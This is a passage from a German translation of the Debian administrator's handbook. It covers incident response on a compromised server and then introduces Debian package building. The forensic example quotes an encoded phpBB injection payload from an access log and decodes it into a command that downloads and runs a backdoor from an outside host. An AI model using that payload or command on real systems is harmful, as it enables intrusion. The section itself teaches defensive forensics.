Wenn dies geschieht, genügt es nicht gewöhnlich nicht, seine Unschuld zu beteuern; Sie werden zumindest überzeugende Beweise benötigen, die von einer bestimmten IP-Adresse ausgehende verdächtige Aktivitäten auf Ihrem Rechner zeigen. Dies wird nicht möglich sein, wenn Sie die Empfehlungen dieses Kapitels vernachlässigen und zulassen, dass der Angreifer Zugang zu einem privilegierten Konto (insbesondere Root) erlangt und dies dann dazu benutzt, seine Spuren zu verwischen.

14.7. Umgang mit einem kompromittierten Rechner

Trotz bester Absichten und aller Sorgfalt bei der Erstellung der Sicherheitsregeln wird ein Administrator eines Tages einer feindlichen Übernahme gegenüberstehen. Dieser Abschnitt stellt einige Leitlinien darüber bereit, wie man im Falle dieser unglücklichen Umstände reagieren sollte.

14.7.1. Den Einbruch eines Crackers entdecken und sehen

Der erste Schritt einer Reaktion auf einen Einbruch besteht darin, eine derartige Tat überhaupt wahrzunehmen. Dies ist nicht selbstverständlich, vor allem nicht ohne eine angemessene Überwachungsinfrastruktur.

Einbrüche bleiben häufig unentdeckt, bis sie direkte Folgen für die legitimen Dienste haben, die auf dem Rechner untergebracht sind, wie zum Beispiel, dass Verbindungen langsamer werden, dass einige Benutzer sich nicht anmelden können, oder eine andere Fehlfunktion. Angesichts dieser Probleme muss sich der Administrator den Rechner genau ansehen und sorgfältig alles überprüfen, was nicht normal funktioniert. Dann entdeckt er normalerweise einen ungewöhnlichen Prozess, zum Beispiel einen namens apache statt des standardmäßigen /usr/sbin/apache2. Wenn wir diesem Beispiel weiter folgen, so sollte seine Prozesskennung notiert und mit /proc/pid/exe überprüft werden, um zu sehen, welches Programm diesen Prozess zur Zeit gerade ausführt:

# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc

Ein unter /var/tmp/ installiertes Programm, das als Webserver läuft? Kein Zweifel, der Rechner ist kompromittiert.

Dies ist nur ein Beispiel, aber auch zahlreiche andere Hinweise können den Administrator alarmieren:

- eine Option eines Befehls, die nicht mehr funktioniert; die Version des Programms, in der der Befehl angeblich vorliegt, stimmt nicht mit der Version überein, die laut dpkg installiert sein sollte;

- eine Eingabeaufforderung oder ein Begrüßungsbildschirm, die anzeigen, dass die vorherige Verbindung von einem unbekannten Server oder einem anderen Kontinent kam;

- Fehler, die darauf zurückzuführen sind, dass die Partition /tmp/ voll ist, wobei sich dann herausstellt, dass sie voller illegaler Filmkopien ist;

- und so weiter.

14.7.2. Den Server vom Netz nehmen

Außer in sehr ungewöhnlichen Fällen erfolgt ein Einbruch über das Netzwerk, und der Angreifer benötigt ein funktionierendes Netzwerk, um seine Ziele zu erreichen (auf vertrauliche Daten zuzugreifen, illegale Dateien zu tauschen, seine Identität durch die Verwendung des Rechners als Zwischenstation zu verbergen und so weiter). Dadurch dass der Rechner vom Netz genommen wird, wird es dem Angreifer unmöglich gemacht, diese Ziele zu erreichen, falls ihm dies bisher noch nicht gelungen ist.

Dies ist nur möglich, wenn der Server physisch zugänglich ist. Falls sich der Server im Datencenter eines Hosting-Anbieters am anderen Ende des Landes befindet, oder falls der Server aus einem anderen Grund nicht zugänglich ist, ist es gewöhnlich ratsam, als erstes einige wichtige Informationen zu sammeln (siehe Abschnitt 14.7.3, „Alles aufbewahren, was als Beweis dienen könnte“, Abschnitt 14.7.5, „Forensische Analyse“ und Abschnitt 14.7.6, „Das Angriffsszenarium wiederherstellen“), und dann den Server so weit wie möglich zu isolieren, indem möglichst viele Dienste abgeschaltet werden (normalerweise alles außer sshd). Diese Situation ist dennoch weiterhin gefährlich, da nicht ausgeschlossen werden kann, dass der Angreifer in gleicher Weise wie der Administrator SSH-Zugriff hat; dies macht es schwieriger, den Rechner zu „reinigen“.

14.7.3. Alles aufbewahren, was als Beweis dienen könnte

Um den Angriff verstehen oder um rechtliche Schritte gegen die Angreifer einleiten zu können, ist es erforderlich, Kopien aller wichtigen Elemente zu erstellen; hierzu gehört der Inhalt der Festplatte, eine Liste aller laufenden Prozesse und eine Liste aller offenen Verbindungen. Der Inhalt des RAM könnte auch verwendet werden, er wird in der Praxis aber selten benutzt.

Im Eifer des Gefechts sind Administratoren häufig versucht, auf dem kompromittierten Rechner zahlreiche Überprüfungen durchzuführen; dies ist jedoch gewöhnlich keine gute Idee. Jeder Befehl kann unterwandert sein und daher Beweisstücke löschen. Die Überprüfungen sollten auf ein Mindestmaß beschränkt werden (netstat -tupan für Netzwerkverbindungen, ps auxf für eine Liste der Prozesse, ls -alR /proc/[0-9]* für einige zusätzliche Informationen über laufende Programme), und jede durchgeführte Überprüfung sollte sorgfältig notiert werden.

VORSICHT Analyse unter Spannung

Obwohl es verlockend sein mag, das System zu analysieren, während es läuft, sollte dies unterlassen werden, vor allem, wenn der Server physisch nicht erreichbar ist: Sie können einfach den Programmen, die zur Zeit auf dem kompromittierten System installiert sind, nicht trauen. Es ist gut möglich, dass ein unterwanderter ps-Befehl einige Prozesse verbirgt, oder dass ein unterwanderter ls-Befehl Dateien verbirgt; manchmal ist sogar der Kernel kompromittiert!

Falls eine solche Analyse „unter Spannung“ dennoch notwendig ist, sollte darauf geachtet werden, nur bekanntermaßen einwandfreie Programme zu benutzen. Eine gute Möglichkeit dies zu tun besteht darin, eine Rettungs-CD mit einwandfreien Programmen zu verwenden oder eine schreibgeschützte Netzwerkfreigabe. Jedoch könnten selbst diese Gegenmaßnahmen nicht ausreichend sein, falls der Kernel selbst kompromittiert ist.

Sobald die „dynamischen“ Elemente gespeichert sind, wird im nächsten Schritt ein vollständiges Abbild der Festplatte gespeichert. Die Erstellung eines derartigen Abbildes ist nicht möglich, solange sich das Dateisystem noch verändert. Deshalb muss es schreibgeschützt neu eingehängt werden. Die einfachste Lösung besteht häufig darin, den Server brutal anzuhalten (nachdem der Befehl sync ausgeführt wurde) und dann den Rechner mit einer Rettungs-CD neu zu starten. Jede Partition sollte mit einem Hilfsprogramm wie dd kopiert werden; diese Abbilder können zu einem anderen Server geschickt werden (zum Beispiel mit dem sehr praktischen Hilfsprogramm nc). Eine andere Möglichkeit ist eventuell noch einfacher: nehmen Sie einfach die Festplatte aus dem Rechner und ersetzen Sie sie durch eine neue, die neu formatiert und installiert werden kann.

14.7.4. Neu installieren

Der Server sollte ohne eine vollständige Neuinstallation nicht wieder ans Netz gebracht werden. Falls die Kompromittierung schwerwiegend war (falls administrative Rechte erlangt worden sind), gibt es fast keinen anderen Weg, um sicher zu sein, dass wir von allem, was der Angreifer hinterlassen haben könnte (vor allem Hintertüren), befreit sind. Selbstverständlich müssen auch die jüngsten Sicherheitsaktualisierungen angewendet werden, um so die Sicherheitslücke zu schließen, die vom Angreifer benutzt wurde. Idealerweise sollte die Analyse des Angriffs diesen Angriffsvektor aufzeigen, so dass man sicher sein kann, dass man ihn behoben hat; sonst kann man nur hoffen, dass die Sicherheitslücke eine von denen war, die durch die Aktualisierungen beseitigt worden sind.

Es ist nicht immer einfach, einen entfernten Server neu zu installieren; hierzu kann es erforderlich sein, Unterstützung vom Hosting-Unternehmen zu bekommen, da nicht alle derartigen Unternehmen automatische Reinstallationssysteme anbieten. Es sollte darauf geachtet werden, den Rechner nicht von Sicherheitskopien zu reinstallieren, die nach dem Beginn der Kompromittierung gezogen worden sind. Idealerweise sollten nur Daten wiederhergestellt werden, wohingegen die eigentliche Software von den Installationsmedien neu installiert wird.

14.7.5. Forensische Analyse

Nun, da der Betrieb wiederhergestellt ist, ist es an der Zeit, sich die Abbilder des kompromittierten Systems genauer anzusehen, um den Angriffsvektor zu verstehen. Beim Einhängen dieser Abbilder sollte darauf geachtet werden, dass die Optionen ro,nodev,noexec,noatime verwendet werden, um zu verhindern, dass der Inhalt verändert wird (einschließlich der Zeitstempel für den Zugriff auf Dateien) oder versehentlich kompromittierte Programme ausgeführt werden.

Ein Angriffsszenarium zurückzuverfolgen bedeutet gewöhnlich, nach allem Ausschau zu halten, das verändert und ausgeführt wurde:

- .bash_history-Dateien stellen häufig eine sehr interessante Lektüre dar;

- das Gleiche gilt für Dateien, die vor kurzem erstellt, verändert oder angesteuert wurden;

- der Befehl strings hilft dabei, vom Angreifer installierte Programme zu identifizieren, indem er Textstrings aus einer Binärdatei extrahiert;

- die Protokolldateien in /var/log/ ermöglichen es oft, eine Chronologie der Ereignisse zu rekonstruieren;

- Spezialprogramme ermöglichen es auch, den Inhalt von Dateien wiederherzustellen, die möglicherweise gelöscht worden sind, einschließlich der Protokolldateien, die Angreifer häufig löschen.

Einige dieser Vorgänge können durch spezielle Software einfacher gemacht werden. Insbesondere das Paket sleuthkit bietet viele weitere Hilfsprogramme zur Analyse eines Dateisystems. Ihre Benutzung wird durch die grafische Schnittstelle Autopsy Forensic Browser (im Paket autopsy) erleichtert.

14.7.6. Das Angriffsszenarium wiederherstellen

Alle während der Analyse gesammelten Elemente sollten wie die Teile eines Puzzles zueinander passen; die Erstellung der ersten verdächtigen Dateien steht häufig mit Protokollen in Zusammenhang, die den Einbruch bekunden. Ein Beispiel aus dem Alltag sollte deutlicher sein, als langes theoretisches Gerede.

Das folgende Protokoll ist ein Auzug aus einer Apache access.log-Datei:

www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Dieses Beispiel entspricht einer alten Sicherheitslücke in phpBB.

→ http://secunia.com/advisories/13239/

→ http://www.phpbb.com/phpBB/viewtopic.php?t=240636

Das Entschlüsseln dieser langen URL führt zu der Erkenntnis, dass es dem Angreifer gelungen ist, einigen PHP-Code auszuführen, nämlich: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). In der Tat wurde eine bd-Datei in /tmp/ gefunden. Wenn man strings /mnt/tmp/bd ausführt, ergibt sich unter anderem der String PsychoPhobia Backdoor is starting.... Dies sieht wirklich nach einer Hintertür aus.

Einige Zeit später wurde dieser Zugang dazu benutzt, einen IRC-Bot herunterzuladen, zu installieren und auszuführen, der sich mit einem IRC-Untergrundnetzwerk verbunden hat. Der Bot konnte dann über dieses Protokoll gesteuert und angewiesen werden, Dateien zum Tausch herunterzuladen. Dieses Programm hat sogar seine eigene Programmdatei:

** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)

Diese Spuren zeigen, dass über die IP-Adresse 82.50.72.202 zwei Videodateien auf dem Server gespeichert wurden.

Gleichzeitig hat der Angreifer einige zusätzliche Dateien heruntergeladen: /tmp/pt und /tmp/loginx. Lässt man diese Dateien durch strings laufen, so ergeben sich Strings wie Shellcode placed at 0x%08lx und Now wait for suid shell.... Diese sehen wie Programme aus, die lokale Schwachstellen ausnutzen, um Administratorrechte zu erlangen. Haben sie ihr Ziel erreicht? In diesem Fall vermutlich nicht, da anscheinend keine Datei nach dem ursprünglichen Einbruch verändert worden ist.

In diesem Beispiel wurde der gesamte Einbruch rekonstruiert, und es kann daraus geschlossen werden, dass der Angreifer in der Lage war, das kompromittierte System etwa drei Tage lang zu nutzen; aber das wichtigste Element der Analyse ist, dass die Schwachstelle identifiziert worden ist, und dass der Administrator sicher sein kann, dass die neue Installation diese Schwachstelle tatsächlich behebt.

Kapitel 15. Ein Debian-Paket erstellen

Für einen Administrator, der regelmäßig mit Debian-Paketen umgeht, ist es durchaus normal, dass er eines Tages das Bedürfnis hat, seine eigenen Pakete zu erstellen oder ein vorhandenes Paket zu ändern. In diesem Kapitel sollen die häufigsten Fragen zu diesem Thema beantwortet und die Komponenten vorgestellt werden, die erforderlich sind, um die Vorteile der Debian-Infrastruktur möglichst gut zu nutzen. Mit etwas Glück könnten Sie, nachdem Sie sich an lokalen Paketen versucht haben, sogar das Bedürfnis verspüren, weiter zu gehen und sich am Debian-Projekt selbst zu beteiligen!

15.1. Ein Paket aus seinen Quellen neu erstellen

Unter verschiedenen Umständen ist es erforderlich, ein Binärpaket neu zu erstellen. In manchen Fällen benötigt der Administrator eine Programmfunktion, für die das Programm mit einer bestimmten Kompilierungsoption aus den Quellen kompiliert werden muss; in anderen Fällen ist das Programm, das in der installierten Debian-Version gebündelt ist, nicht aktuell genug. Im zweiten Fall erstellt der Administrator gewöhnlich ein aktuelleres Paket aus einer neueren Debian-Version wie zum Beispiel Testing oder sogar Unstable, so dass dieses neue Paket dann in seiner Stable-Distribution läuft; dieser Vorgang wird „Backporting“ genannt. Wie immer sollte man, bevor man eine solche Aufgabe beginnt, überprüfen, ob sie nicht bereits erledigt worden ist. Ein kurzer Blick auf den Debian Package Tracker für das Paket sollte diese Information liefern.

→ https://tracker.debian.org/

15.1.1. Die Quellen besorgen

Die Neuerstellung eines Debian-Pakets beginnt damit, dass man seinen Quellcode besorgt. Am einfachsten geschieht dies mit dem Befehl apt-get source quellpaket-name. Der Befehl benötigt eine deb-src-Zeile in der Datei /etc/apt/sources.list und aktuelle Indexdateien (d.h. apt-get update). Diese Bedingungen sollten bereits erfüllt sein, wenn Sie den Anweisungen in dem Kapitel über die APT-Konfigurierung ( siehe Abschnitt 6.1, „Befüllen der sources.list Datei“) gefolgt sind. Beachten Sie jedoch, dass Sie die Quellpakete der Debian-Version, die in der Zeile deb-src genannt ist, herunterladen. Falls Sie eine andere Version benötigen, müssen Sie sie eventuell per Hand von einem Debian-Spiegelserver oder von der Webseite herunterladen. Hierbei müssen zwei oder drei Dateien abgerufen werden mit den Dateiendungen *.dsc - für Debian Source Control, *.tar.comp und manchmal *.diff.gz oder *.debian.tar.comp - wobei comp je nach verwendetem Komprimierungsprogramm durch gz, bz2 oder xz ersetzt wird. Anschließend wird der Befehl dpkg-source -x datei.dsc ausgeführt. Falls die Datei *.dsc direkt an der vorgegebenen URL zugänglich ist, gibt es einen noch einfacheren Weg, sie zu besorgen, und zwar mit dem Befehl dget URL. Dieser Befehl (der sich in dem Paket devscripts befindet) ruft die *.dsc-Datei an der angegebenen Adresse ab, analysiert dann ihren Inhalt und besorgt selbstständig die Datei oder die Dateien, auf die darin verwiesen wird. Wenn alles heruntergeladen wurde, wird das Quellpaket entpackt (solange nicht die Optionen -d oder --download-only verwendet wurden).

15.1.2. Änderungen vornehmen

Die Quellen des Pakets sind nun in einem Verzeichnis verfügbar, das nach dem Quellpaket und seiner Version benannt ist (zum Beispiel samba-4.1.17+dfsg); hier werden wir unsere eigenen Veränderungen vornehmen.

Als erstes wird die Paket-Versionsnummer geändert, so dass sich die neu erstellten Pakete von den ursprünglichen, von Debian bereitgestellten Paketen unterscheiden lassen. Gesetzt den Fall, dass die aktuelle Version 2:4.1.17+dfsg-2 ist, so können wir Version 2:4.1.17+dfsg-2falcot1 erstellen, wodurch der Ursprung des Pakets eindeutig angezeigt wird. Hierdurch wird die Paket-Versionsnummer gegenüber der von Debian bereitgestellten erhöht, so dass sich das Paket leicht als eine Aktualisierung des Originalpakets installieren lässt. Eine derartige Änderung wird am besten mit dem Befehl dch (Debian CHangelog) aus dem Paket devscripts mit einem Aufruf wie dch --local falcot vorgenommen. Hierdurch wird ein Texteditor aufgerufen (sensible-editor - dies sollte Ihr bevorzugter Editior sein, falls er in den Umgebungsvariablen VISUAL oder EDITOR aufgeführt ist, anderenfalls der voreingestellte Editor), um die Unterschiede dokumentieren zu können, die diese Neuerstellung bewirkt. Dieser Editor zeigt uns, dass dch in der Tat die Datei debian/changelog geändert hat.

Wenn die Erstellungsoptionen geändert werden müssen, werden diese Änderungen in der Datei debian/rules vorgenommen, die die Schritte des Erstellungsprozesses steuert. In den einfachsten Fällen sind die Zeilen, die die anfängliche Konfiguration ((./configure …) oder die tatsächliche Erstellung ($(MAKE) … oder make …) betreffen, leicht zu finden. Falls diese Befehle nicht ausdrücklich aufgerufen werden, sind sie möglicherweise ein Nebeneffekt eines anderen ausdrücklichen Befehls. In diesem Fall sehen Sie bitte in dessen Dokumentation nach, um mehr darüber herauszufinden, wie das voreingestellte Verhalten geändert werden kann. Verwenden Pakete den dh Befehl, müssen Sie gegebenenfalls ein Override für die dh_auto_configure oder dh_auto_build Befehle erstellen (siehe auch die zugehörigen Manual Pages für eine Erläuterung).

Je nach den vor Ort vorgenommenen Veränderungen der Pakete kann auch eine Aktualisierung der Datei debian/control, die eine Beschreibung der erzeugten Pakete enthält, erforderlich sein. Diese Datei enthält insbesondere Build-Depends-Zeilen, die die Liste der Abhängigkeiten überwachen, die zum Zeitpunkt der Paketerstellung erfüllt sein müssen. Sie beziehen sich häufig auf Versionen von Paketen, die in der Distribution enthalten sind, aus der das Quellpaket stammt, jedoch in der Distribution, die für die Neuerstellung verwendet wird, möglicherweise nicht vorhanden sind. Es gibt kein automatisches Verfahren um herauszufinden, ob eine Abhängigkeit tatsächlich besteht, oder ob sie nur angegeben wird, um sicherzustellen, dass die Neuerstellung nur mit der jüngsten Version einer Programmbibliothek unternommen wird - dies ist die einzig verfügbare Möglichkeit, einen Autobuilder dazu zu zwingen, während einer Neuerstellung eine bestimmte Paketversion zu verwenden. Aus diesem Grund benutzen Debian-Betreuer häufig streng versionierte Erstellungsabhängigkeiten.

Wenn Sie mit Sicherheit wissen, dass diese Erstellungsabhängigkeiten zu streng sind, haben Sie die Wahl, sie vor Ort zu lockern. Die Lektüre der Dateien, die den normalen Weg zur Erstellung des Programms dokumentieren - diese Dateien sind häufig INSTALL benannt - hilft Ihnen, die passenden Abhängigkeiten herauszufinden. Idealerweise sollten alle Abhängigkeiten durch die Distribution, die für die Neuerstellung verwendet wird, erfüllt werden. Wenn dies nicht der Fall ist, beginnt ein rekursiver Prozess, bei dem die im Build-Depends-Feld genannten Pakete zurückportiert werden müssen, bevor es das Zielpaket kann. Es kann sein, dass einige Pakete nicht zurückportiert werden müssen und während des Erstellungsprozesses in ihrem gegenwärtigen Zustand installiert werden können (ein namhaftes Beispiel ist debhelper). Beachten Sie, dass der Prozess des Zurückportierens sehr schnell kompliziert werden kann, wenn Sie nicht aufpassen. Daher sollten Zurückportierungen so gering wie möglich gehalten werden.

TIPP Build-Depends installieren

apt-get ermöglicht es, alle Pakete zu installieren, die in den Build-Depends-Feldern eines Quellpakets erwähnt sind, das in einer Distribution vorhanden ist, die in der deb-src-Zeile der Datei /etc/apt/sources.list aufgeführt ist. Dies geschieht einfach durch Ausführung des Befehls apt-get build-dep quellpaket.

15.1.3. Die Neuerstellung beginnen

Wenn alle erforderlichen Veränderungen auf die Quellen angewendet worden sind, können wir damit beginnen, das eigentliche Binärpaket (die .deb-Datei) zu erstellen. Der gesamte Prozess wird durch den Befehl dpkg-buildpackage gesteuert.

Beispiel 15.1. Ein Paket neu erstellen

$ dpkg-buildpackage -us -uc
[...]

HILFSPROGRAMM fakeroot

Im Wesentlichen besteht der Prozess der Paketerstellung einfach darin, eine Reihe von bestehenden (oder erstellten) Dateien in einem Archiv zusammenzufassen; die meisten dieser Dateien werden in diesem Archiv im Besitz von root stehen. Das ganze Paket unter diesem Benutzer zu erstellen, würde jedoch zu erhöhten Risiken führen; glücklicherweise kann dies mit dem Befehl fakeroot vermieden werden. Dieses Hilfsprogramm kann verwendet werden, um ein Programm auszuführen und ihm dabei den Eindruck zu vermitteln, dass es als root läuft und Dateien mit beliebigen Eigentumsrechten und Berechtigungen erstellt. Wenn das Programm das Archiv erstellt, das zum Debian-Paket werden wird, wird es dazu gebracht, ein Archiv zu erstellen, das Dateien enthält, die beliebigen Eigentümern gehören, einschließlich root. Dies ist so praktisch, dass dpkg-buildpackage bei der Paketerstellung fakeroot standardmäßig verwendet.

Man beachte, dass das Programm nur dazu gebracht wird zu „glauben“, dass es unter einem privilegierten Konto läuft, und dass der Prozess in Wirklichkeit als der Benutzer läuft, der den Befehl fakeroot programm ausführt (und dass die Dateien in Wirklichkeit mit den Berechtigungen dieses Benutzers erstellt werden). Zu keiner Zeit erlangt es tatsächlich Root-Privilegien, die es missbrauchen könnte.

Der oben stehende Befehl kann scheitern, wenn die Build-Depends-Felder nicht aktualisiert worden sind, oder wenn die dazugehörigen Pakete nicht installiert sind. In diesem Fall ist es möglich, diese Kontrolle außer Kraft zu setzen, indem die Option -d an dpkg-buildpackage gegeben wird. Das ausdrückliche Ignorieren dieser Abhängigkeiten erhöht jedoch das Risiko, dass der Erstellungsprozess in einem späteren Stadium scheitert. Oder schlimmer noch, das Paket wird scheinbar richtig erstellt, läuft aber nicht ordnungsgemäß: einige Programme deaktivieren automatisch einige ihrer Leistungsmerkmale, wenn eine erforderliche Bibliothek zum Zeitpunkt der Erstellung nicht verfügbar ist.

In den meisten Fällen benutzen Debian-Entwickler ein übergeordnetes Programm, wie zum Beispiel debuild; dieses führt dpkg-buildpackage wie üblich aus, fügt aber den Aufruf eines Programms hinzu, das zahlreiche Tests ausführt, um das erstellte Paket im Hinblick auf das Debian-Regelwerk zu überprüfen. Dieses Skript bereinigt auch die Umgebung, so dass lokale Umgebungsvariablen die Paketerstellung nicht „verschmutzen“. Der Befehl debuild ist eines der Hilfsprogramme in der devscripts-Suite, die eine gewisse Konsistenz und Konfiguration gemeinsam haben und so die Aufgabe des Betreuers einfacher machen.

KURZER BLICK pbuilder

Das Programm pbuilder (im Paket ähnlichen Namens) ermöglicht es, ein Debian-Paket in einer chrooted-Umgebung zu erstellen. Es erstellt zunächst ein temporäres Verzeichnis, das ein minimales System zur Erstellung des Pakets enthält (einschließlich der Pakete, die im Build-Depends-Feld aufgeführt sind). Das Verzeichnis wird dann während des Erstellungsprozesses mit dem Befehl chroot als Wurzelverzeichnis (/) verwendet.

Dieses Programm ermöglicht es, dass der Erstellungsprozess in einer Umgebung stattfindet, die durch Eingriffe der Benutzer nicht verändert ist. So können fehlende Abhängigkeiten leicht entdeckt werden (da die Erstellung scheitern wird, falls die dazugehörigen Abhängigkeiten nicht dokumentiert sind). Außerdem ermöglicht es die Erstellung eines Pakets für eine Debian-Version, die nicht der vom System insgesamt benutzten entspricht: der Rechner kann Stable für seine normale Arbeit benutzen, und ein pbuilder, das auf demselben Rechner läuft, kann Unstable für die Paketerstellung verwenden.

15.2. Ihr erstes Paket erstellen

15.2.1. Meta-Pakete oder vorgetäuschte Pakete

Vorgetäuschte Pakete und Meta-Pakete sind insofern ähnlich, als sie leere Hüllen sind, die nur um des Effektes willen existieren, den ihre Meta-Daten auf den Paketverarbeitungsstapel haben.

Der Zweck eines vorgetäuschten Pakets ist es, dpkg und apt glauben zu machen, dass ein bestimmtes Paket installiert ist, obwohl es nur aus einer leeren Hülle besteht. So können Abhängigkeiten von einem Paket erfüllt werden, wenn das dazugehörige Programm außerhalb des Geltungsbereichs des Paketsystems installiert wurde. Obwohl diese Methode funktioniert, sollte sie möglichst vermieden werden, da sie keine Garantie bietet, dass sich das manuell installierte Programm genauso verhält wie das entsprechende Paket, und andere Pakete, die von ihm abhängen, würden nicht ordnungsgemäß funktionieren.

Ein Meta-Paket besteht dagegen vor allem aus einer Ansammlung von Abhängigkeiten, so dass das Installieren eines Meta-Pakets im Endeffekt in einem Schritt eine Reihe weiterer Pakete mit sich bringt.

Diese beiden Paketarten können mit den Befehlen equivs-control und equivs-build erstellt werden (in dem Paket equivs). Der Befehl equivs-control datei erstellt eine Debian-Header-Datei, die so editiert werden sollte, dass sie den Namen des erwarteten Pakets, seine Versionsnummer, den Namen des Betreuers, seine Abhängigkeiten und eine Beschreibung enthält. Andere Zeilen ohne einen vorgegebenen Wert sind optional und können gelöscht werden. Die Zeilen Copyright, Changelog, Readme und Extra-Files sind in Debian-Paketen keine Standardzeilen; sie machen nur bei equivs-build Sinn und bleiben nicht in den Kopfzeilen des erstellten Pakets erhalten.

Beispiel 15.2. Header-Datei des vorgetäuschten Pakets libxml-libxml-perl

Section: perl
Priority: optional
Standards-Version: 3.9.6

Package: libxml-libxml-perl
Version: 2.0116-1
Maintainer: Raphael Hertzog <hertzog@debian.org>
Depends: libxml2 (>= 2.7.4)
Architecture: all
Description: Fake package - module manually installed in site_perl
This is a fake package to let the packaging system
believe that this Debian package is installed.
.
In fact, the package is not installed since a newer version
of the module has been manually compiled & installed in the
site_perl directory.

Der nächste Schritt besteht darin, das Debian-Paket mit dem Befehl equivs-build datei zu erstellen. Voilà: das Paket wurde im aktuellen Verzeichnis erstellt und kann wie jedes andere Debian-Paket behandelt werden.

15.2.2. Einfaches Dateiarchiv

Die Falcot-Corp.-Administratoren müssen ein Debian-Paket erstellen, um die Bereitstellung einer Reihe von Dokumenten auf einer großen Anzahl von Rechnern zu erleichtern. Der für diese Aufgabe zuständige Administrator liest zunächst den „Leitfaden für neue Debian-Betreuer“ und beginnt dann, an seinem ersten Paket zu arbeiten.

→ https://www.debian.org/doc/manuals/maint-guide/

Der erste Schritt besteht darin, ein Verzeichnis namens falcot-data-1.0 zu erstellen, um das Ziel-Quellpaket aufzunehmen. Das Paket wird logischerweise falcot-data heißen und die Versionsnummer 1.0 tragen. Der Administrator legt die Dokumentdateien dann in einem Unterverzeichnis namens data ab. Anschließend ruft er den Befehl dh_make auf (aus dem Paket dh-make), um Dateien hinzuzufügen, die für den Paketerstellungsprozess benötigt werden, und die alle in einem Unterverzeichnis namens debian abgespeichert werden:

$ cd falcot-data-1.0
$ dh_make --native

Type of package: single binary, indep binary, multiple binary, library, kernel module, kernel patch?
[s/i/m/l/k/n] i

Maintainer name : Raphael Hertzog
Email-Address   : hertzog@debian.org
Date            : Fri, 04 Sep 2015 12:09:39 -0400
Package Name    : falcot-data
Version         : 1.0
License         : gpl3
Type of Package : Independent
Hit <enter> to confirm:
Currently there is no top level Makefile. This may require additional tuning.
Done. Please edit the files in the debian/ subdirectory now. You should also
check that the falcot-data Makefiles install into $DESTDIR and not in / .
$

Der ausgewählte Paket-Typ (indep binary) zeigt an, dass dieses Quellpaket ein einzelnes Binärpaket unabhängig von der Architektur (Architecture: all) erzeugen wird. Single binary fungiert als Pendant und führt zu einem einzelnen Binärpaket, das von der Zielarchitektur abhängig ist (Architecture: any). In diesem Fall ist der erste Ansatz relevanter, da das Paket nur Dokumente und keine binären Programme enthält, so dass es in ähnlicher Weise auf Rechnern aller Architekturen verwendet werden kann.

Der Typ multiple binary bezieht sich auf ein Quellpaket, das zu mehreren Binärpaketen führen wird. library ist ein Sonderfall und für dynamische Bibliotheken nützlich, da diese strengen Erstellungsregeln folgen müssen. In ähnlicher Weise sollte kernel module oder kernel patch auf Pakete beschränkt bleiben, die Kernel-Module enthalten.

TIPP Name und E-Mail-Adresse des Betreuers

Die meisten der an der Paketbetreuung beteiligten Programme werden in den Umgebungsvariablen DEBFULLNAME und DEBEMAIL oder EMAIL nach Ihrem Namen und Ihrer E-Mail-Adresse Ausschau halten. Sie können es vermeiden, sie viele Male einzugeben, indem Sie sie ein für alle Mal festlegen. Falls Ihre übliche Konsole bash ist, genügt es, die folgenden zwei Zeilen zur Datei ~/.bashrc hinzuzufügen (Sie werden selbstverständlich die angegebenen Werte durch die zutreffenden ersetzen!):

export EMAIL="hertzog@debian.org"
export DEBFULLNAME="Raphael Hertzog"

